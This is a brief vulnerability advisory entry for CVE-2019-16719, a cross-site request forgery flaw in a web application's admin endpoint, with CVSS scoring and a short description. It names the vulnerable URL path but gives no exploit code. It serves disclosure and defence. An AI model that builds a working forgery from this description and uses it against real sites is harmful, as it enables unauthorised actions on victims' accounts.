1) Cross-site request forgery
EUVDB-ID: #VU21308
Risk: Low
CVSSv3.1: 5.8 [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RL:U/RC:C]
CVE-ID: CVE-2019-16719
CWE-ID:
CWE-352 - Cross-Site Request Forgery (CSRF)
Exploit availability: No
DescriptionThe vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin in "index.php?g=admin&m=index&a=index". A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website.
